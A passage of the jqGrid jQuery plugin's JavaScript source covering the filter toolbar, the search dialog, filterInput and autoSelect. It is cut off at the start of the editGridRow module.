$($t).triggerHandler("jqGridToolbarBeforeClear") === 'stop' ? true : false; if(!bcv && $.jgrid.isFunction(p.beforeClear)){bcv = p.beforeClear.call($t);} if(!bcv) { if(trigger) { $($t).jqGrid("setGridParam",{search:sd}).trigger("reloadGrid",[{page:1}]); } } if(saveurl) {$($t).jqGrid("setGridParam",{url:saveurl});} $($t).triggerHandler("jqGridToolbarAfterClear"); if($.jgrid.isFunction(p.afterClear)){p.afterClear();} }, toggleToolbar = function(){ var trow = $("tr.ui-search-toolbar",$t.grid.hDiv); if($t.p.frozenColumns === true) { $($t).jqGrid('destroyFrozenColumns'); } if(trow.css("display") === 'none') { trow.show(); } else { trow.hide(); } if($t.p.frozenColumns === true) { $($t).jqGrid("setFrozenColumns"); } }, buildRuleMenu = function( elem, left, top ){ $("#sopt_menu").remove(); left=parseInt(left,10); top=parseInt(top,10) + 18; var fs = $('.ui-jqgrid').css('font-size') || '11px', str = '<ul id="sopt_menu" class="ui-search-menu modal-content" role="menu" tabindex="0" style="font-size:'+fs+';left:'+left+'px;top:'+top+'px;">', selected = $(elem).attr("soper"), selclass, aoprs = [], ina, i, nm = $(elem).attr("colname"); i = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', nm, true); if( i === -1 ) { return; } var cm = $t.p.colModel[i], options = $.extend({}, cm.searchoptions); if(!options.sopt) { options.sopt = []; options.sopt[0]= cm.stype==='select' ? 'eq' : p.defaultSearch; } $.each(p.odata, function() { aoprs.push(this.oper); }); for ( i = 0 ; i < options.sopt.length; i++) { ina = $.inArray(options.sopt[i],aoprs); if(ina !== -1) { selclass = selected === p.odata[ina].oper ? common.highlight : ""; str += '<li class="ui-menu-item '+selclass+'" role="presentation"><a class="'+ common.cornerall+' g-menu-item" tabindex="0" role="menuitem" value="'+p.odata[ina].oper+'" oper="'+p.operands[p.odata[ina].oper]+'"><table class="ui-common-table"><tr><td class="opersign">'+p.operands[p.odata[ina].oper]+'</td><td>'+ p.odata[ina].text+'</td></tr></table></a></li>'; } } str += "</ul>"; $('body').append(str); $("#sopt_menu").addClass("ui-menu " + classes.menu_widget); $("#sopt_menu > li > a").hover( function(){ $(this).addClass(common.hover); }, function(){ $(this).removeClass(common.hover); } ).click(function() { var v = $(this).attr("value"), oper = $(this).attr("oper"); $($t).triggerHandler("jqGridToolbarSelectOper", [v, oper, elem]); $("#sopt_menu").hide(); $(elem).text(oper).attr("soper",v); if(p.autosearch===true){ var inpelm = $(elem).parent().next().children()[0]; if( $(inpelm).val() || v==="nu" || v ==="nn" || $.inArray(v, unaryOpers) >=0) { triggerToolbar(); } } }); }, setToolbarFozenVal = function( ffields, soper, smultiselect, arcustom) { var orgCol = $(".ui-search-toolbar", $t.grid.hDiv), frozenCol = $(".ui-search-toolbar", $t.grid.fhDiv); $.each(ffields, function(i,n){ // multiselect // operations if(p.searchOperators) { var oper = soper[i]; if(oper) { $(".ui-search-table .ui-search-oper [colname='userId']", orgCol).attr({'soper': oper}).text( p.operands[oper]); $(".ui-search-table .ui-search-oper [colname='userId']", frozenCol).attr({'soper': oper}).text( p.operands[oper]); } } // custom element if( $.inArray(i, arcustom) > -1) { var col = $.jgrid.getElemByAttrVal( $t.p.colModel, 'name', i ); if ( col && col.searchoptions ) { var soptf = col.searchoptions || {}; if( $.jgrid.isFunction( soptf.custom_value ) ) { var $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(i), $t.grid.fhDiv ), $elem2 = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(i), $t.grid.hDiv); soptf.custom_value.call($t, $elem, "set", n); soptf.custom_value.call($t, $elem2, "set", n); } } } else { $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(i), orgCol).val( n ); $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(i), frozenCol).val( n ); } }); }; // create the row var tr = $("<tr class='ui-search-toolbar' role='row'></tr>"), timeoutHnd, rules, filterobj; if( p.restoreFromFilters ) { if( $t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('filterToolbar') && $t.p.searchModules.filterToolbar !== false) { filterobj = $t.p.searchModules.filterToolbar; } else { filterobj = $t.p.postData.filters; } if(filterobj) { if( typeof filterobj === "string") { filterobj = $.jgrid.parse( filterobj ); } rules = (filterobj.rules && filterobj.rules.length) ? filterobj.rules : false; } } //p.disabledKeys = new Set(p.disabledKeys); // experimental var dKeys = new Set(p.disabledKeys); if(dKeys.size !== p.disabledKeys.length) { // ie11 for(var jj=0; jj< p.disabledKeys.length; jj++) { dKeys = new Set(); dKeys.add(p.disabledKeys[jj]); } } var filterLabel; if (regional.filterFor) { filterLabel = regional.filterFor; } if($t.p.colSpanHeader.length) { $($t).jqGrid('destroyColSpanHeader', false); } $.each($t.p.colModel,function(ci){ var cm=this, soptions, select="", sot="=", so, i, st, csv, df, elem, restores, th = $("<th role='columnheader' class='" + base.headerBox+" ui-th-"+$t.p.direction+" "+(cm.labelClasses || "")+"' id='gsh_" + $t.p.id + "_" + cm.name + "'></th>"), thd = $("<div><span aria-label=\"empty\" style=\"display: none;\">empty</span></div>"), stbl = $("<table class='ui-search-table' cellspacing='0'><tr><td class='ui-search-oper' headers=''></td><td class='ui-search-input' headers=''></td><td class='ui-search-clear' headers=''></td></tr></table>"); if(this.hidden===true) { $(th).css("display","none");} this.search = this.search === false ? false : true; if(this.stype === undefined) {this.stype='text';} this.searchoptions = this.searchoptions || {}; if(this.searchoptions.searchOperMenu === undefined) { this.searchoptions.searchOperMenu = true; } var title; if(filterLabel !== undefined){ title = filterLabel + " " + $t.p.colNames[ci]; } else { title = $t.p.colNames[ci]; } soptions = $.extend({},this.searchoptions , {name:cm.index || cm.name, id: "gs_"+$t.p.idPrefix+cm.name, oper:'search', title:title}); if(this.search){ if( p.restoreFromFilters && rules) { restores = false; for( var is = 0; is < rules.length; is++) { if(rules[is].field ) { var snm = cm.index || cm.name; if( snm === rules[is].field) { restores = rules[is]; break; } } } } if(p.searchOperators) { so = (soptions.sopt) ? soptions.sopt[0] : cm.stype==='select' ? 'eq' : p.defaultSearch; // overwrite search operators if( p.restoreFromFilters && restores) { so = restores.op; } for(i = 0;i<p.odata.length;i++) { if(p.odata[i].oper === so) { sot = p.operands[so] || ""; break; } } st = soptions.searchtitle != null ? soptions.searchtitle : p.operandTitle; select = this.searchoptions.searchOperMenu ? "<a title='"+st+"' soper='"+so+"' class='soptclass' colname='"+this.name+"'>"+sot+"</a>" : ""; } $("td",stbl).eq( 0 ).attr("columname", cm.name).append(select); if(soptions.clearSearch === undefined) { soptions.clearSearch = true; } if(soptions.clearSearch) { csv = p.resetTitle || 'Clear Search Value'; $("td",stbl).eq( 2 ).append("<a title='"+csv+"' tabindex='0' style='padding-right: 0.3em;padding-left: 0.3em;' class='clearsearchclass'>"+p.resetIcon+"</a>"); } else { $("td", stbl).eq( 2 ).hide(); } if(this.surl) { soptions.dataUrl = this.surl; } df=""; if(soptions.defaultValue ) { df = $.jgrid.isFunction(soptions.defaultValue) ? soptions.defaultValue.call($t) : soptions.defaultValue; } //overwrite default value if restore from filters if( p.restoreFromFilters && restores) { df = restores.data; } elem = $.jgrid.createEl.call($t, this.stype, soptions , df, false, $.extend({},$.jgrid.ajaxOptions, $t.p.ajaxSelectOptions || {})); if( this.stype !== 'custom') { if(this.stype==='select') { $(elem).addClass( classes.srSelect ); } else { $(elem).addClass( classes.srInput ); } } $("td",stbl).eq( 1 ).append(elem); $(thd).append(stbl); if(soptions.dataEvents == null ) { soptions.dataEvents = []; } switch (this.stype) { case "select": if(p.autosearch === true) { soptions.dataEvents.push({ type : "change", fn : function() { triggerToolbar(); return false; } }); } break; case "text": case "custom": if(p.autosearch===true){ if(p.searchOnEnter) { soptions.dataEvents.push({ type: "keypress", fn : function(e) { var key = e.charCode || e.keyCode || 0; if(key === 13){ e.preventDefault(); triggerToolbar(); return false; } return this; } }); } else { soptions.dataEvents.push({ type: "keydown", fn : function(e) { var key = e.which; if( dKeys.has(key)) { // do nothing } else if( key === 13 ) { e.preventDefault(); return false; } else { if(timeoutHnd) { clearTimeout(timeoutHnd); } timeoutHnd = setTimeout(function(){triggerToolbar();}, p.autosearchDelay); } } }); } } break; } $.jgrid.bindEv.call($t, elem , soptions); } $(th).append(thd); $(tr).append(th); if(!p.searchOperators || select === "") { $("td",stbl).eq( 0 ).hide(); } }); $("table thead",$t.grid.hDiv).append(tr); if(p.searchOperators) { $(".soptclass",tr).click(function(e){ var offset = $(this).offset(), left = ( offset.left ), top = ( offset.top); buildRuleMenu(this, left, top ); e.stopPropagation(); }); $("body").on('click', function(e){ if(e.target.className !== "soptclass") { $("#sopt_menu").remove(); } }); } $(".clearsearchclass",tr).click(function() { var ptr = $(this).parents("tr").first(), colname = $("td.ui-search-oper", ptr).attr('columname'), coli=0, soper = $("td.ui-search-oper a", ptr).attr('soper'), cm, vv; coli = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, true); if(coli === -1 ) { return false; } cm = $t.p.colModel[coli]; var sval = $.extend( {}, cm.searchoptions || {} ), dval = sval.defaultValue ? sval.defaultValue : "", elem; if(cm.stype === "select") { elem = $("td.ui-search-input select", ptr); if(dval) { elem.val( dval ); } else { elem[0].selectedIndex = 0; } } else { elem = $("td.ui-search-input input", ptr); elem.val( dval ); } $($t).triggerHandler("jqGridToolbarClearVal",[elem[0], coli, sval, dval]); if($.jgrid.isFunction(p.onClearSearchValue)) { p.onClearSearchValue.call($t, elem[0], coli, sval, dval); } var operText = ""; if(soper==="nu" || soper==="nn" || $.inArray(soper, unaryOpers) >=0) { vv = sval.sopt ? sval.sopt[0] : cm.stype === "select" ? "eq" : p.defaultSearch; operText = $t.p.customFilterDef != null && $t.p.customFilterDef[vv] != null ? $t.p.customFilterDef[vv].operand : p.operands[vv] || ""; if(vv === soper) { $("td.ui-search-oper a", ptr).attr('soper', 'dummy').text(operText); } else { $("td.ui-search-oper a", ptr).attr('soper',vv).text(operText); } } // ToDo custom search type if(p.autosearch===true){ triggerToolbar(); if(vv === soper) { $("td.ui-search-oper a", ptr).attr('soper',vv).text(operText); } } }); $(".clearsearchclass",tr).keydown(function(event) { if (event.keyCode === 13) { event.preventDefault(); $(".clearsearchclass", tr).trigger("click"); } }); $($t.grid.hDiv).on("scroll", function(e){ if(!$t.grid.hScroll) { $t.grid.bScroll = true; $t.grid.bDiv.scrollLeft = $t.grid.hDiv.scrollLeft; if($t.p.footerrow) { $t.grid.sDiv.scrollLeft = $t.grid.bDiv.scrollLeft; } if($t.p.headerrow) { $t.grid.hrDiv.scrollLeft = $t.grid.bDiv.scrollLeft; } } $t.grid.hScroll = false; }); if($t.p.colSpanHeader.length) { setTimeout(function() { $($t).jqGrid('setColSpanHeader');},0); } this.p.filterToolbar = true; this.triggerToolbar = triggerToolbar; this.clearToolbar = clearToolbar; this.toggleToolbar = toggleToolbar; }); }, destroyFilterToolbar: function () { return this.each(function () { if (!this.p.filterToolbar) { return; } this.triggerToolbar = null; this.clearToolbar = null; this.toggleToolbar = null; this.p.filterToolbar = false; $(this.grid.hDiv).find("table thead tr.ui-search-toolbar").remove(); }); }, refreshFilterToolbar : function ( p ) { p = $.extend(true, { filters : "", onClearVal : null, onSetVal : null }, p || {}); return this.each(function () { var $t = this, cm = $t.p.colModel, i, l = $t.p.colModel.length, params, searchitem, filters, rules, rule, ssfield =[], ia; // clear the values on toolbar. // do not call clearToolbar if(!$t.p.filterToolbar) { return; } params = $($t).data('filterToolbar'); for (i = 0; i < l; i++) { ssfield.push(cm[i].index || cm[i].name); searchitem = $("#gs_" +$t.p.idPrefix+ $.jgrid.jqID(cm[i].name)); switch (cm[i].stype) { case 'select' : case 'text' : searchitem.val(""); break; } if($.jgrid.isFunction(p.onClearVal)) { p.onClearVal.call($t, searchitem, cm[i].name); } } function setrules (filter) { if(filter && filter.rules) { // condition to exit rules = filter.rules; l = rules.length; for (i = 0; i < l; i++) { rule = rules[i]; ia = $.inArray(rule.field, ssfield); if( ia !== -1) { searchitem = $("#gs_" + $t.p.idPrefix + $.jgrid.jqID(cm[ia].name)); // problem for between operator if ( searchitem.length > 0) { if (cm[ia].stype === "select") { searchitem.find("option[value='" + $.jgrid.jqID(rule.data) + "']").prop('selected', true); } else if (cm[ia].stype === "text") { searchitem.val(rule.data); } if($.jgrid.isFunction(p.onSetVal)) { p.onSetVal.call($t, searchitem, cm[ia].name); } if( params && params.searchOperators) { var fsi = searchitem.parent().prev(); if( fsi.hasClass("ui-search-oper") ) { $(".soptclass", fsi ).attr("soper", rule.op); if(params.operands.hasOwnProperty(rule.op)) { $(".soptclass", fsi ).html( $.jgrid.stripScript( params.operands[rule.op] ) ); } } } } } } if(filter.groups) { for(var k=0;k<filter.groups.length;k++) { setrules(filter.groups[k]); } } } } if (typeof (p.filters) === "string") { if(p.filters.length) { filters = p.filters; // flat filters only } else if( $t.p.postData.hasOwnProperty("filters")) { filters = $t.p.postData.filters; } filters = $.jgrid.parse(filters); } if ($.isPlainObject(filters)) { setrules( filters ); } }); }, searchGrid : function (p) { var regional = $.jgrid.getRegional(this[0], 'search'); p = $.extend(true, { recreateFilter: false, drag: true, sField:'searchField', sValue:'searchString', sOper: 'searchOper', sFilter: 'filters', loadDefaults: true, // this options activates loading of default filters from grid's postData for Multipe Search only. beforeShowSearch: null, afterShowSearch : null, onInitializeSearch: null, afterRedraw : null, afterChange: null, sortStrategy: null, closeAfterSearch : false, closeAfterReset: false, closeOnEscape : false, searchOnEnter : false, multipleSearch : false, multipleGroup : false, //cloneSearchRowOnAdd: true, top : 0, left: 0, jqModal : true, modal: false, resize : true, width: 450, height: 'auto', dataheight: 'auto', showQuery: false, errorcheck : true, sopt: null, stringResult: undefined, onClose : null, onSearch : null, onReset : null, toTop : true, overlay : 30, columns : [], tmplNames : null, tmplFilters : null, tmplLabel : ' Template: ', showOnLoad: false, layer: null, splitSelect : ",", groupOpSelect : "OR", operands : { "eq" :"=", "ne":"<>","lt":"<","le":"<=","gt":">","ge":">=","bw":"LIKE","bn":"NOT LIKE","in":"IN","ni":"NOT IN","ew":"LIKE","en":"NOT LIKE","cn":"LIKE","nc":"NOT LIKE","nu":"IS NULL","nn":"ISNOT NULL"}, buttons :[] }, regional, p || {}); return this.each(function() { var $t = this; if(!$t.grid) {return;} var fid = "fbox_"+$t.p.id, showFrm = true, mustReload = true, IDs = {themodal:'searchmod'+fid,modalhead:'searchhd'+fid,modalcontent:'searchcnt'+fid, scrollelm : fid}, defaultFilters,// = ($.isPlainObject($t.p._savedFilter) && !$.isEmptyObject($t.p._savedFilter ) ) ? $t.p._savedFilter : $t.p.postData[p.sFilter], fl, unaryOpers = [], classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].filter, common = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].common; p.styleUI = $t.p.styleUI; if($.isPlainObject($t.p._savedFilter) && !$.isEmptyObject($t.p._savedFilter )) { defaultFilters = $t.p._savedFilter; } else if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('searchGrid') && $t.p.searchModules.searchGrid !== false ) { $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); defaultFilters = $t.p.postData[p.sFilter]; } else { defaultFilters = $t.p.postData[p.sFilter]; } if(typeof defaultFilters === "string") { defaultFilters = $.jgrid.parse( defaultFilters ); } if(p.recreateFilter === true) { $("#"+$.jgrid.jqID(IDs.themodal)).remove(); } function showFilter(_filter) { showFrm = $($t).triggerHandler("jqGridFilterBeforeShow", [_filter]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(p.beforeShowSearch)) { showFrm = p.beforeShowSearch.call($t,_filter); } if(showFrm) { $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{gbox:"#gbox_"+$.jgrid.jqID( $t.p.id ),jqm:p.jqModal, modal:p.modal, overlay: p.overlay, toTop: p.toTop}); $($t).triggerHandler("jqGridFilterAfterShow", [_filter]); if($.jgrid.isFunction(p.afterShowSearch)) { p.afterShowSearch.call($t, _filter); } } } if ( $("#"+$.jgrid.jqID(IDs.themodal))[0] !== undefined ) { showFilter($("#fbox_"+$.jgrid.jqID( $t.p.id ))); } else { var fil = $("<div><div id='"+fid+"' class='searchFilter' style='overflow:auto'></div></div>").insertBefore("#gview_"+$.jgrid.jqID($t.p.id)), align = "left", butleft =""; if($t.p.direction === "rtl") { align = "right"; butleft = " style='text-align:left'"; fil.attr("dir","rtl"); } var columns = $.extend([],$t.p.colModel), bS ="<a id='"+fid+"_search' class='fm-button " + common.button + " fm-button-icon-right ui-search'><span class='" + common.icon_base + " " +classes.icon_search + "'></span>"+p.Find+"</a>", bC ="<a id='"+fid+"_reset' class='fm-button " + common.button +" fm-button-icon-left ui-reset'><span class='" + common.icon_base + " " +classes.icon_reset + "'></span>"+p.Reset+"</a>", bQ = "", tmpl="", colnm, found = false, bt, cmi=-1, ms = false, ssfield = []; if(p.showQuery) { bQ ="<a id='"+fid+"_query' class='fm-button " + common.button + " fm-button-icon-left'><span class='" + common.icon_base + " " +classes.icon_query + "'></span>Query</a>"; } var user_buttons = $.jgrid.buildButtons( p.buttons, bQ+ bS, common); // groupheaders names var groupH = null; if( $($t).jqGrid('isGroupHeaderOn') ) { var htable = $("table.ui-jqgrid-htable", $t.grid.hDiv), secRow = htable.find(".jqg-second-row-header"), gh_len = $t.p.groupHeader.length; // use the last set one if(secRow[0] !== undefined) { groupH = $t.p.groupHeader[gh_len-1]; } } if(!p.columns.length) { if(groupH !== null) { for(var ij=0;ij<columns.length; ij++){ var iCol = $.jgrid.inColumnHeader( columns[ij].name, groupH.groupHeaders); if(iCol>=0) { columns[ij].label = groupH.groupHeaders[iCol].titleText + "::" + $t.p.colNames[ij]; for(var jj= 1; jj<= groupH.groupHeaders[iCol].numberOfColumns-1; jj++) { columns[ij+jj].label = groupH.groupHeaders[iCol].titleText + "::"+$t.p.colNames[ij+jj]; } ij = ij+groupH.groupHeaders[iCol].numberOfColumns-1; } } } $.each(columns, function(i,n){ if(!n.label) { n.label = $t.p.colNames[i]; } // find first searchable column and set it if no default filter if(!found) { var searchable = (n.search === undefined) ? true: n.search , hidden = (n.hidden === true), ignoreHiding = (n.searchoptions && n.searchoptions.searchhidden === true); if ((ignoreHiding && searchable) || (searchable && !hidden)) { found = true; colnm = n.index || n.name; cmi =i; } } if( n.stype==="select" && n.searchoptions && n.searchoptions.multiple) { ms = true; ssfield.push( n.index || n.name ); } }); } else { columns = p.columns; cmi = 0; colnm = columns[0].index || columns[0].name; } // old behaviour if( (!defaultFilters && colnm) || p.multipleSearch === false ) { var cmop = "eq"; if(cmi >=0 && columns[cmi].searchoptions && columns[cmi].searchoptions.sopt) { cmop = columns[cmi].searchoptions.sopt[0]; } else if(p.sopt && p.sopt.length) { cmop = p.sopt[0]; } defaultFilters = {groupOp: "AND", rules: [{field: colnm, op: cmop, data: ""}]}; } found = false; if(p.tmplNames && p.tmplNames.length) { found = true; tmpl = "<tr><td class='ui-search-label'>"+ p.tmplLabel +"</td>"; tmpl += "<td><select size='1' name='select_template' class='ui-template " + classes.srSelect + "'>"; tmpl += "<option value='default'>Default</option>"; $.each(p.tmplNames, function(i,n){ tmpl += "<option value='"+i+"'>"+n+"</option>"; }); tmpl += "</select></td></tr>"; } if ($t.p.customFilterDef !== undefined) { for(var uskey in $t.p.customFilterDef) { if($t.p.customFilterDef.hasOwnProperty(uskey) && !p.operands.hasOwnProperty(uskey) ) { p.odata.push({ oper: uskey, text: $t.p.customFilterDef[uskey].text} ); p.operands[uskey] = $t.p.customFilterDef[uskey].operand; if($t.p.customFilterDef[uskey].unary === true) { unaryOpers.push(uskey); } } } } bt = "<table class='EditTable' style='border:0px none;margin-top:5px' id='"+fid+"_2'><tbody><tr><td colspan='2'><hr class='" + common.content + "' style='margin:1px'/></td></tr>"+tmpl+"<tr><td class='EditButton' style='text-align:"+align+"'>"+bC+"</td><td class='EditButton' "+butleft+">"+ user_buttons +"</td></tr></tbody></table>"; fid = $.jgrid.jqID( fid); $("#"+fid).jqFilter({ columns: columns, sortStrategy: p.sortStrategy, filter: p.loadDefaults ? defaultFilters : null, showQuery: p.showQuery, errorcheck : p.errorcheck, sopt: p.sopt, groupButton : p.multipleGroup, ruleButtons : p.multipleSearch, uniqueSearchFields : p.uniqueSearchFields, afterRedraw : p.afterRedraw, ops : p.odata, operands : p.operands, ajaxSelectOptions: $t.p.ajaxSelectOptions, groupOps: p.groupOps, addsubgrup : p.addsubgrup, addrule : p.addrule, delgroup : p.delgroup, delrule : p.delrule, autoencode : $t.p.autoencode, unaryOperations : unaryOpers, onChange : function() { if(this.p.showQuery) { $('.query',this).text(this.toUserFriendlyString()); } if ($.jgrid.isFunction(p.afterChange)) { p.afterChange.call($t, $("#"+fid), p); } }, direction : $t.p.direction, id: $t.p.id }); fil.append( bt ); $("#"+fid+"_2").find("[data-index]").each(function(){ var index = parseInt($(this).attr('data-index'),10); if(index >=0 ) { $(this).on('click', function(e) { p.buttons[index].click.call($t, $("#"+fid), p, e); }); } }); if(found && p.tmplFilters && p.tmplFilters.length) { $(".ui-template", fil).on('change', function(){ var curtempl = $(this).val(); if(curtempl==="default") { $("#"+fid).jqFilter('addFilter', defaultFilters); } else { $("#"+fid).jqFilter('addFilter', p.tmplFilters[parseInt(curtempl,10)]); } return false; }); } if(p.multipleGroup === true) {p.multipleSearch = true;} $($t).triggerHandler("jqGridFilterInitialize", [$("#"+fid)]); if($.jgrid.isFunction(p.onInitializeSearch) ) { p.onInitializeSearch.call($t, $("#"+fid)); } p.gbox = "#gbox_"+$.jgrid.jqID($t.p.id);//fid; var fs = $('.ui-jqgrid').css('font-size') || '11px'; if (p.layer) { $.jgrid.createModal(IDs ,fil,p,"#gview_"+$.jgrid.jqID($t.p.id),$("#gbox_"+$.jgrid.jqID($t.p.id))[0], (typeof p.layer ==="string" ? "#"+$.jgrid.jqID(p.layer) : p.layer), (typeof p.layer ==="string" ? {position: "relative", "font-size":fs} :{ "font-size":fs} ) ); } else { $.jgrid.createModal(IDs ,fil,p,"#gview_"+$.jgrid.jqID($t.p.id),$("#gbox_"+$.jgrid.jqID($t.p.id))[0], null, { "font-size":fs}); } if (p.searchOnEnter || p.closeOnEscape) { $("#"+$.jgrid.jqID(IDs.themodal)).keydown(function (e) { var $target = $(e.target); if (p.searchOnEnter && e.which === 13 && // 13 === $.ui.keyCode.ENTER !$target.hasClass('add-group') && !$target.hasClass('add-rule') && !$target.hasClass('delete-group') && !$target.hasClass('delete-rule') && (!$target.hasClass("fm-button") || !$target.is("[id$=_query]"))) { e.preventDefault(); $("#"+fid+"_search").click(); return false; } if (p.closeOnEscape && e.which === 27) { // 27 === $.ui.keyCode.ESCAPE $("#"+$.jgrid.jqID(IDs.modalhead)).find(".ui-jqdialog-titlebar-close").click(); return false; } }); } if(bQ) { $("#"+fid+"_query").on('click', function(){ $(".queryresult", fil).toggle(); return false; }); } if (p.stringResult===undefined) { // to provide backward compatibility, inferring stringResult value from multipleSearch p.stringResult = p.multipleSearch; } $("#"+fid+"_search").on('click', function(){ var sdata={}, filters; fl = $("#"+fid); fl.find(".input-elm:focus").change(); if( ms && p.multipleSearch) { $t.p._savedFilter = {}; filters = $.jgrid.filterRefactor({ ruleGroup: $.extend(true, {}, fl.jqFilter('filterData')), ssfield : ssfield, splitSelect : p.splitSelect, groupOpSelect : p.groupOpSelect }); $t.p._savedFilter = $.extend(true, {}, fl.jqFilter('filterData')); } else { filters = fl.jqFilter('filterData'); } if(p.errorcheck) { fl[0].hideError(); if(!p.showQuery) {fl.jqFilter('toSQLString');} if(fl[0].p.error) { fl[0].showError(); return false; } } if(p.stringResult) { sdata[p.sFilter] = JSON.stringify( filters ); $.each([p.sField,p.sValue, p.sOper], function() {sdata[this] = "";}); } else { if(p.multipleSearch) { sdata[p.sFilter] = filters; $.each([p.sField,p.sValue, p.sOper], function() {sdata[this] = "";}); } else { sdata[p.sField] = filters.rules[0].field; sdata[p.sValue] = filters.rules[0].data; sdata[p.sOper] = filters.rules[0].op; sdata[p.sFilter] = ""; } } if(typeof sdata[p.sFilter] !== "string") { sdata[p.sFilter] = JSON.stringify( sdata[p.sFilter] ); } $t.p.search = true; if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('searchGrid') && $t.p.searchModules.searchGrid !== false && p.multipleSearch) { if(sdata[p.sFilter] !== "") { $t.p.searchModules.searchGrid = sdata[p.sFilter]; } else { $t.p.searchModules.searchGrid = null; } $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); } else { $.extend($t.p.postData,sdata); } mustReload = $($t).triggerHandler("jqGridFilterSearch"); if( mustReload === undefined) { mustReload = true; } if(mustReload && $.jgrid.isFunction(p.onSearch) ) { mustReload = p.onSearch.call($t, $t.p.filters); } if (mustReload !== false) { $($t).trigger("reloadGrid",[{page:1}]); } if(p.closeAfterSearch) { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID($t.p.id),jqm:p.jqModal,onClose: p.onClose}); } return false; }); $("#"+fid+"_reset").on('click', function(){ var sdata={}, fl = $("#"+fid); $t.p.search = false; $t.p.resetsearch = true; if(p.multipleSearch===false) { sdata[p.sField] = sdata[p.sValue] = sdata[p.sOper] = ""; } else { sdata[p.sFilter] = ""; } fl[0].resetFilter(); if(found) { $(".ui-template", fil).val("default"); } if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('searchGrid') && $t.p.searchModules.searchGrid !== false ) { $t.p.searchModules.searchGrid = null; $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); $t.p.search = true; } else { $.extend($t.p.postData,sdata); } mustReload = $($t).triggerHandler("jqGridFilterReset"); if(mustReload === undefined) { mustReload = true; } if(mustReload && $.jgrid.isFunction(p.onReset) ) { mustReload = p.onReset.call($t); } if(mustReload !== false) { $($t).trigger("reloadGrid",[{page:1}]); } if (p.closeAfterReset) { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID($t.p.id),jqm:p.jqModal,onClose: p.onClose}); } return false; }); showFilter($("#"+fid)); $(".fm-button:not(."+common.disabled+")",fil).hover( function(){$(this).addClass(common.hover);}, function(){$(this).removeClass(common.hover);} ); } }); }, filterInput : function( val, p) { p = $.extend(true, { defaultSearch : 'cn', groupOp : 'OR', searchAll : false, beforeSearch : null, afterSearch : null, selectFirstFound : false, firstFoundTimeout : 30 }, p || {}); return this.each(function(){ var $t = this; if(!$t.grid) {return;} var nm, sop,ruleGroup = "{\"groupOp\":\"" + p.groupOp + "\",\"rules\":[", gi=0, so, searchable; val +=""; //if($t.p.datatype !== 'local') { return; } $.each($t.p.colModel,function(){ nm = this.index || this.name; sop = this.searchoptions || {}; so = p.defaultSearch ? p.defaultSearch : (sop.sopt) ? sop.sopt[0] : p.defaultSearch; searchable = this.search === undefined ? true : this.search; if ((searchable || p.searchAll) && val !== "") { if (gi > 0) {ruleGroup += ",";} ruleGroup += "{\"field\":\"" + nm + "\","; ruleGroup += "\"op\":\"" + so + "\","; ruleGroup += "\"data\":\"" + val.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; gi++; } }); ruleGroup += "]}"; if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('filterInput') && $t.p.searchModules.filterInput !== false ) { if(gi > 0) { $t.p.searchModules.filterInput = ruleGroup; } else { $t.p.searchModules.filterInput = null; } $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); } else { $.extend($t.p.postData,{filters:ruleGroup}); } $.each(['searchField', 'searchString', 'searchOper'], function(i, n){ if($t.p.postData.hasOwnProperty(n)) { delete $t.p.postData[n];} }); var bsr = $($t).triggerHandler("jqGridFilterInputBeforeSearch") === 'stop' ? true : false; if(!bsr && $.jgrid.isFunction(p.beforeSearch)){bsr = p.beforeSearch.call($t);} if(!bsr) { $($t).jqGrid("setGridParam",{search:true}).trigger("reloadGrid",[{page:1}]); } if(p.selectFirstFound ) { setTimeout(function(){ var row = $($t).jqGrid('getGridRowByIndex', 1); $($t).jqGrid("setSelection", row.id, false); }, p.firstFoundTimeout); } $($t).triggerHandler("jqGridFilterInputAfterSearch"); if($.jgrid.isFunction(p.afterSearch)){p.afterSearch.call($t);} }); }, autoSelect : function (o) { o = $.extend(true,{ field : "", direction : "asc", src_date : "Y-m-d", allValues : "All", count_item : true, create_value : true }, o || {} ); return this.each(function() { var $t = this, item, sdata=""; if( o.field && $t.p.data && Array.isArray( $t.p.data )) { var query, res, s_cnt, tmp = [], cm, result, i; try { query = $.jgrid.from.call($t, $t.p.data); result = query.groupBy( o.field, o.direction, "text", o.src_date); i = result.length; } catch(e) { } if(result && result.length) { res = $("#gsh_"+$t.p.id+"_"+o.field).find("td.ui-search-input > select"); i = result.length; if(o.allValues) { sdata = "<option value=''>"+ o.allValues +"</option>"; tmp.push(":" + o.allValues); } while(i--) { item = result[i]; s_cnt = o.count_item ? " (" +item.items.length+")" : ""; sdata += "<option value='"+item.unique+"'>"+ item.unique + s_cnt+"</option>"; tmp.push(item.unique+":"+item.unique + s_cnt); } res.append(sdata); res.on('change',function(){ $t.triggerToolbar(); }); if( o.create_value ) { cm = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', o.field, false); if( !$.isEmptyObject( cm ) ) { if( cm.searchoptions ) { $.extend(cm.searchoptions, {value: tmp.join(";")}); } else { cm.searchoptions = {}; cm.searchoptions.value = tmp.join(";"); } } } } } }); } }); //module begin var rp_ge = {}; $.jgrid.extend({ editGridRow : function(rowid, p){ var regional = $.jgrid.getRegional(this[0], 'edit'), currstyle = 